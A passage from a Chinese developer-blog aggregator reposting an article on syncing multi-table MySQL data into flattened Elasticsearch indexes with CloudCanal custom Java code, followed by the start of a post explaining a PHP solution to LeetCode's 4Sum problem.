`id` int(11) NOT NULL AUTO_INCREMENT,
`name` varchar(64) NOT NULL DEFAULT '' COMMENT '商品名称',
`enterprise_id` int(11) NOT NULL DEFAULT '0' COMMENT '企业id',
`goods_no` varchar(50) NOT NULL DEFAULT '' COMMENT '商家商品编号',
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=9410 DEFAULT CHARSET=utf8mb4;
1
2
3
4
5
6
7
8
9
sql复制代码## SKU表
CREATE TABLE `tb_enterprise_sku` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`enterprise_goods_id` int(11) NOT NULL COMMENT '企业商品id',
`name` varchar(255) NOT NULL DEFAULT '' COMMENT 'sku{1:2,2:1}',
`sku_no` varchar(255) DEFAULT '' COMMENT '商品sku编码',
`scan_goods` varchar(255) CHARACTER SET utf8 NOT NULL DEFAULT '' COMMENT 'sku条形码',
PRIMARY KEY (`id`),
) ENGINE=InnoDB AUTO_INCREMENT=14397 DEFAULT CHARSET=utf8mb4 COMMENT='企业 sku';

ES 索引如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
json复制代码      "enterprise_id": {
"type": "integer"
},
"goods_no": {
"type": "text",
"analyzer": "custom_e",
"fields": {
"keyword": {
"type": "keyword"
}
}
},
"id": {
"type": "integer"
},
"name": {
"type": "text",
"analyzer": "ik_max_word",
"search_analyzer": "ik_smart",
"fields": {
"standard": {
"type": "text",
"analyzer": "standard"
},
"keyword":{
"type": "keyword"
}
},
"fielddata": true
},
"sku_detail": {
"type": "nested",
"properties": {
"id": {
"type": "integer"
},
"sku_no": {
"type": "text",
"analyzer": "custom_e",
"fields": {
"keyword": {
"type": "keyword"
}
}
},
"scan_goods": {
"type": "text",
"analyzer": "custom_e",
"fields": {
"keyword": {
"type": "keyword"
}
}
}

注:为了方便大家理解,此处表字段进行了缩减

自定义代码工作流程

36f7adfb-ece5-4411-9926-d2cd0262aa3e-image.png

自定义代码源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
ini复制代码public List<CustomRecord> addData(CustomRecord customRecord, DataSource dataSource) {
List<CustomRecord> customRecordList=new ArrayList<>();
String idStr = (customRecord.getFieldMapAfter().get("id")).toString();
List<EnterpriseSku> enterpriseSkuList = tryQuerySourceDs(dataSource, Integer.valueOf(Integer.parseInt(idStr.substring(idStr.indexOf("=") + 1, idStr.indexOf(")")))));
if (enterpriseSkuList.size() > 0) {
Map<String, Object> addFieldValueMap = new LinkedHashMap<>();
addFieldValueMap.put("sku_detail", JSONArray.parseArray(JSON.toJSONString(enterpriseSkuList)));
RecordBuilder.modifyRecordBuilder(customRecord).addField(addFieldValueMap);
}
customRecordList.add(customRecord);
return customRecordList;
}

public List<CustomRecord> updateData(CustomRecord customRecord, DataSource dataSource) {
List<CustomRecord> customRecordList=new ArrayList<>();
String idStr = (customRecord.getFieldMapAfter().get("id")).toString();
List<EnterpriseSku> enterpriseSkuList = tryQuerySourceDs(dataSource, Integer.valueOf(Integer.parseInt(idStr.substring(idStr.indexOf("=") + 1, idStr.indexOf(")")))));
if (enterpriseSkuList.size() > 0) {
Map<String, Object> addFieldValueMap = new LinkedHashMap<>();
addFieldValueMap.put("sku_detail", JSONArray.parseArray(JSON.toJSONString(enterpriseSkuList)));
RecordBuilder.modifyRecordBuilder(customRecord).addField(addFieldValueMap);
}
customRecordList.add(customRecord);
return customRecordList;
}

private List<EnterpriseSku> tryQuerySourceDs(DataSource dataSource, Integer id) {
try(Connection connection = dataSource.getConnection();
PreparedStatement ps = connection.prepareStatement("select * from `live-mini`.tb_enterprise_sku where is_del=0 and enterprise_goods_id=" + id)) {
ResultSet resultSet = ps.executeQuery();
BeanListHandler<EnterpriseSku> bh = new BeanListHandler(EnterpriseSku.class);
List<EnterpriseSku> enterpriseSkuList = bh.handle(resultSet);
return enterpriseSkuList;
} catch (Exception e) {
esLogger.error(e.getMessage());
return new ArrayList<>();
}
}

思路

customRecord 对象即自定义代码传入的参数,传入的 id 为子表 tb_enterprise_sku 的外键 enterprise_goods_id,查询出子表关于这个外键的所有数据,放入 addFieldValueMap 中,再利用源码提供的方法RecordBuilder.modifyRecordBuilder(customRecord).addField(addFieldValueMap),对 customRecord 进行加工。

创建任务步骤

新建源端对端数据源
660b46e7-f736-49ff-b368-63b88cb5dbb7-image.png
选择订阅表及同步到对端的索引
84454765-03f7-4b44-9304-679bb044f380-image.png
选择同步字段,选择自定义包
fcacf1a8-24c1-49e5-9d86-1f19835fbbab-image.png
完成创建任务

实现效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
json复制代码{
"_index" : "live-mini_pro_enterprise_goods_sku_view",
"_type" : "_doc",
"_id" : "17385",
"_score" : 12.033585,
"_source" : {
"img" : "https://ovopark.oss-cn-hangzhou.aliyuncs.com/wanji/2020-11-30/1606786889982.jpg",
"category_name" : "无类目",
"is_grounding" : 1,
"del_time" : "2021-11-01T17:13:32+08:00",
"goods_no" : "",
"distribute_second" : 0.0,
"uniform_proportion" : 0,
"description" : "赠送私域直播流量转化平台万集&线上商城",
"video" : "",
"self_uniform_proportion" : 0,
"update_time" : "2021-11-01T17:13:32+08:00",
"allocate_video" : null,
"self_commission_properation" : 0.0,
"category_id" : 0,
"is_promote" : 0,
"price" : 0.03,
"is_distributor_self" : 0,
"limit_purchases_max_quantity" : 0,
"limit_purchases_type" : 0,
"is_del" : 0,
"is_distributor" : 0,
"activity_price" : 0.0,
"id" : 17385,
"stock" : 0,
"distribute_first" : 0.0,
"is_distribution_threshold" : 0,
"refund_configure" : 1,
"create_time" : "2021-11-01T17:13:32+08:00",
"scan_goods" : "",
"limit_purchases_cycle" : 0,
"is_sku" : 1,
"allocate_mode" : 0,
"sku_detail" : [
{
"scan_goods" : "",
"sku_no" : "",
"id" : "19943"
}
],
"enterprise_id" : 24,
"is_delivery" : 0,
"is_limit_purchases" : 0,
"name" : "测试商品测试商品测试商品测试商",
"goods_type" : 0,
"goods_order" : 0,
"ts" : "2021-11-01T17:16:42+08:00",
"delivery_price" : 0.0
}
}

案例二:订单表、商品表宽表构建

业务背景

小程序商城中需要展示猜你喜欢的商品,对猜你喜欢商品是根据用户购买商品的频率来决定,主要涉及订单表,订单商品表,用户表,商品表等,使用ES 查询同样面临多表无法 join 的问题,本案例中依然采用 CloudCanal 自定义代码同步为扁平化数据。

业务原使用技术及问题

同步 ES 的方案原先使用 logstash 的方式全量同步数据,由于数据量的问题,同步数据放在每日的凌晨,带来的问题为,数据同步不及时,并且只能是全量风险比较高。多次出现删除索引数据后并没有同步的情况。

表结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
less复制代码CREATE TABLE `tb_order` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`order_sn` varchar(32) NOT NULL COMMENT '订单编号',
`user_id` int(11) NOT NULL COMMENT '用户 id',
`user_name` varchar(255) DEFAULT NULL COMMENT '用户名称',
`user_phone` varchar(11) DEFAULT NULL COMMENT '用户电话',
`store_id` int(11) NOT NULL COMMENT '门店 id',
`enterprise_id` int(11) DEFAULT '1' COMMENT '企业id',
`order_type` int(11) NOT NULL COMMENT '0:快递配送;1:门店自取; 2:美团配送即时单; 3:美团即时配送预约单;',
`order_status` tinyint(11) DEFAULT '0' COMMENT '原订单状态:1:未付款,3:待发货/待打包,5:(待收货/待取货),6:交易完成,7:订单失效,8:交易关闭, 13:用戶取消,18:商家强制关闭,19同意退款但是退款失敗(未用到),30:美团即时配送状态异常',
`total_price` decimal(10,2) DEFAULT '0.00' COMMENT '订单总价',
PRIMARY KEY (`id`,`total_goods_weight`) USING BTREE
) ENGINE=InnoDB AUTO_INCREMENT=18630 DEFAULT CHARSET=utf8mb4 COMMENT='订单表';

CREATE TABLE `tb_order_goods` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`user_id` int(11) NOT NULL COMMENT '用户 id',
`order_id` int(11) NOT NULL COMMENT '订单 id',
`goods_id` int(11) NOT NULL COMMENT '订单商品 id',
`enterprise_goods_id` varchar(11) DEFAULT NULL COMMENT '企业商品id',
`name` varchar(512) DEFAULT '' COMMENT '订单商品名称',
`spec` varchar(100) DEFAULT NULL COMMENT '规格属性',
`img` varchar(100) DEFAULT '' COMMENT '订单商品图片',
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=19159 DEFAULT CHARSET=utf8mb4 COMMENT='订单商品表';

ES 索引字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
json复制代码"store_id":{
"type": "integer"
},
"user_id":{
"type": "integer"
},
"sex":{
"type": "integer"
},
"birthday":{
"type": "keyword"
},
"goods_name":{
"type": "text",
"analyzer" : "ik_max_word",
"search_analyzer" : "ik_smart",
"fields": {
"keyword":{
"type": "keyword"
}
},
"fielddata": true
},
"goods_type":{
"type": "integer"
},
"order_goods_id":{
"type": "integer"
},
"enterprise_goods_id":{
"type": "integer"
},
"goods_price":{
"type": "double"
},
"order_id":{
"type": "integer"
},
"order_create_time":{
"type": "date"
}

注:ES表结构中涉及多张表,为了方便举例,这边只贴出2张表。es_doc展示纬度为订单商品纬度。

实现流程

订阅订单表
3d95def3-3234-47f5-b626-89d95b868938-image.png
订阅字段
7574425f-6953-4640-9d0a-97c1403d07d7-image.png
画出横线的即为需要同步的字段,有一个点需要特别注意:ES 中需要展示的字段一定要勾上同步,不勾上的话在自定义代码中 add 后 也不会被同步 官方给出的解释为字段黑白名单。
这里有几个细节点,订阅的表的维度并非 ES 存储数据的维度,所以这边的 id 并不是 ES 的 _id,对于这种需要在源端同步必须传的字段,设置对端字段可以随意设置一个对端已有的字段,在自定义代码中可以灵活的去重新配置需要同步的字段。(如果设置默认,ES 的 index 会创建出这个字段,这显然不是我们想要看到的效果)

业务流程

12f805e2-e6d3-478e-b3e1-aaf989fcf59a-image.png

代码实现

查询扁平化数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
vbnet复制代码SELECT
to2.store_id,
tuc.id AS user_id,
tuc.sex AS sex,
tuc.birthday,
tog.NAME AS goods_name,
tog.goods_type,
tog.goods_id AS order_goods_id,
tog.goods_price,
tog.create_time AS order_create_time,
tog.id AS order_id,
tog.enterprise_goods_id AS enterprise_goods_id
FROM
`live-mini`.tb_order to2
INNER JOIN `live-mini`.tb_order_goods tog ON to2.id = tog.order_id
AND tog.is_del = 0
AND to2.user_id = tog.user_id
INNER JOIN `live-mini`.tb_user_c tuc ON to2.user_id = tuc.id
AND tuc.is_del = 0
WHERE
to2.is_del = 0
AND to2.id= #{占位}
GROUP BY tog.id

思路:自定义代码获取 order 表的主键后,查询上面的 SQL,先将原 customRecord 中数据删除,再以查询出的结果维度新增数据。修改的逻辑亦如此。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
ini复制代码public List<CustomRecord> addData(CustomRecord customRecord, DataSource dataSource) {
List<CustomRecord> customRecordList=new ArrayList<>();
String idStr = (customRecord.getFieldMapAfter().get("id")).toString();
List<OrderGoods> orderGoodsList = tryQuerySourceDs(dataSource, Integer.valueOf(Integer.parseInt(idStr.substring(idStr.indexOf("=") + 1, idStr.indexOf(")")))));
RecordBuilder.modifyRecordBuilder(customRecord).deleteRecord();
if (orderGoodsList.size() > 0) {
for (OrderGoods orderGoods:orderGoodsList){
//添加需要的行和列
Map<String,Object> fieldMap=BeanMapTool.beanToMap(orderGoods);
customRecordList.add(RecordBuilder.createRecordBuilder().createRecord(fieldMap).build());
}
}
return customRecordList;
}

public List<CustomRecord> updateData(CustomRecord customRecord, DataSource dataSource) {
List<CustomRecord> customRecordList=new ArrayList<>();
String idStr = (customRecord.getFieldMapAfter().get("id")).toString();
List<OrderGoods> orderGoodsList = tryQuerySourceDs(dataSource, Integer.valueOf(Integer.parseInt(idStr.substring(idStr.indexOf("=") + 1, idStr.indexOf(")")))));
RecordBuilder.modifyRecordBuilder(customRecord).deleteRecord();
if (orderGoodsList.size() > 0) {
for (OrderGoods orderGoods:orderGoodsList){
//添加需要的行和列
Map<String,Object> fieldMap=BeanMapTool.beanToMap(orderGoods);
customRecordList.add(RecordBuilder.createRecordBuilder().createRecord(fieldMap).build());
}
}
return customRecordList;
}

private List<OrderGoods> tryQuerySourceDs(DataSource dataSource, Integer id) {
String sql="SELECT to2.store_id,tuc.id AS user_id,tuc.sex AS sex,tuc.birthday,tog.NAME AS goods_name,tog.goods_type,tog.goods_id AS order_goods_id,tog.goods_price,tog.create_time AS order_create_time,tog.id AS order_id,tog.enterprise_goods_id AS enterprise_goods_id FROM `live-mini`.tb_order to2 INNER JOIN `live-mini`.tb_order_goods tog ON to2.id = tog.order_id AND tog.is_del = 0 AND to2.user_id = tog.user_id INNER JOIN `live-mini`.tb_user_c tuc ON to2.user_id = tuc.id AND tuc.is_del = 0 WHERE to2.is_del = 0 and to2.id=";
try(Connection connection = dataSource.getConnection();
PreparedStatement ps = connection.prepareStatement(sql + id+" GROUP BY tog.id")) {
ResultSet resultSet = ps.executeQuery();
BeanListHandler<OrderGoods> bh = new BeanListHandler(OrderGoods.class);
List<OrderGoods> orderGoodsList = bh.handle(resultSet);
return orderGoodsList;
} catch (Exception e) {
esLogger.error(e.getMessage());
return new ArrayList<>();
}
}

实现效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
json复制代码 {
"_index" : "live-mini-order-pro",
"_type" : "_doc",
"_id" : "359",
"_score" : 1.0,
"_source" : {
"goods_type" : 0,
"order_id" : 359,
"order_goods_id" : 450,
"order_create_time" : "2020-12-22T10:45:20.000Z",
"enterprise_goods_id" : 64,
"goods_name" : "【老客户专享】万店掌2021新年定制台历",
"sex" : 2,
"goods_price" : 1.0,
"user_id" : 386,
"store_id" : 1,
"birthday" : ""
}
}

写在最后

CloudCanal 的自定义代码很好地解决了我们多表关联同步 ES 的问题,简洁易用的界面和有深度的功能都令人印象深刻,期待 CloudCanal 更多新能力。关于 CloudCanal 自定义代码的能力,也欢迎大家与我交流。

参与内测

CloudCanal 会不断提供一些预览的能力,包括新数据链路, 优化能力,功能插件。本文所描述的自定义代码能力目前也处于内测阶段。如需体验,可添加我们小助手(微信号:suhuayue001)进行了解和试用。

加入CloudCanal粉丝群掌握一手消息和获取更多福利,请添加我们小助手微信:suhuayue001

CloudCanal-免费好用的企业级数据同步工具,欢迎品鉴。
了解更多产品可以查看官方网站: www.clougence.com
CloudCanal社区:www.askcug.com/

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

PHP 四数之和 - LeetCode 18 实现思路 完整

发表于 2021-11-26

「这是我参与11月更文挑战的第26天,活动详情查看:2021最后一次更文挑战」

昨天说了三数之和,今天说一下四数之和的问题。

image.png

实现思路

说四数之和之前,还是先说一下三数之和,对理解四数之和有帮助。

三数之和可以用暴力解法,使用三重循环,时间复杂度为O(n^3)。

四数之和也可以用暴力解法,使用四重循环,时间复杂度为O(n^4)。

上面的解法时间复杂度太高,执行起来有可能超时。所以需要另外的解法。

判断三数之和时,我们首先把待判断的数组进行排序,是为了减少三元组的判断。然后以遍历的每一个元素的基准,由于数组是有序的,以当前元素后的首尾元素向中间移动,组合之外的两个元素进行判断。

我们知道了三数之和的解法,那么四数之和的解法就简单了,我们只需要在三数之和的解法外面再重新加一个循环就可以实现四数之和。只不过有一些边界问题需要处理。

四数之和判断的是是否等于变量$target,$target的值不固定。

完整代码

image.png

第563-566行代码,如果数组长度小于 4,则返回空数组,因为数组内没有符合条件的四元组。

第567行代码,使用PHP内置函数对数组进行升序排序。

第568行代码,定义一个数组,存储符合条件的四元组。

第569-602行代码,遍历数组,寻找符合条件的四元组。

第569行代码,此为第一重循环,即当前遍历元素一定时,组合其它的三个元素。遍历的下标最大值小于等于数组长度减3,因为第一重循环遍历到倒数第4个元素时,后面只有三个元素,再继续遍历没有意义。

第570-572行代码,翦枝操作,避免重复的四元组,当前遍历元素如果等于上一个元素的话,由于上一个元素已经组合过其它元素,所以当前元素为了避免重复,需要跳过,继续遍历下一个元素。

第574行代码,此为第二重循环,即第一重循环的元素一定时,当前循环遍历的元素也一定时,组合其它的两个元素。遍历的下标最大值小于等于数组长度减2,因为第二重循环遍历到倒数第3个元素时,后面只有两个元素,再继续遍历没有意义。

第575-577行代码,翦枝操作,避免重复的四元组,当前遍历元素如果等于上一个元素的话,由于上一个元素已经组合过其它元素,所以当前元素为了避免重复,需要跳过,继续遍历下一个元素。

第579-580行代码,定义两个移动的指针,$left指针初始位置为第二重循环位置加1,$right指针位置为数组长度减1。

第581行代码,不断移动两个指针位置,如果$left位置大于等于$right位置就退出循环,说明此时有元素重复。

第582-583行代码,由于在PHP中有符号INT的最大值为21亿多,而题目中数组中的值最大为10亿,如果四个元素都为10亿,就会超出INT的最大值。所以我们需要通过两个数相加做对比。

$sumOne的值为两个指针位置的元素值相加,$sumTwo的值为目标值减去前两重循环位置的元素值相加,为什么需要目标值相减呢?因为目标值有可能为0,那么两两相加做比较的话,有可能出现相反数。不能等值比较。

第585-594行代码,两个值相等,则把四个元素的值放入定义的$arr数组内,然后判断$left指针位置的下一个元素是否相等,若相等则$left指针增加1。$right指针同$left。最后把$left指针加1,$right指针减1。继续判断后面的元素。

第595-596行代码,如果相减后的数值大于两个指针相加的数值,那么$left指针位置加1。因为由于前两重循环的位置固定,所以目标值与其相减后的值也固定。两个指针位置的元素值就需要增大,所以需要$left指针位置加1继续判断。

第597-598行代码,如果如果相减后的数值小于两个指针相加的数值,那么$right指针位置减1,

第603行代码,返回符合条件的四元组。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

1…167168169…956

开发者博客

9558 日志
1953 标签
RSS
© 2025 开发者博客
本站总访问量次
由 Hexo 强力驱动
|
主题 — NexT.Muse v5.1.4
0%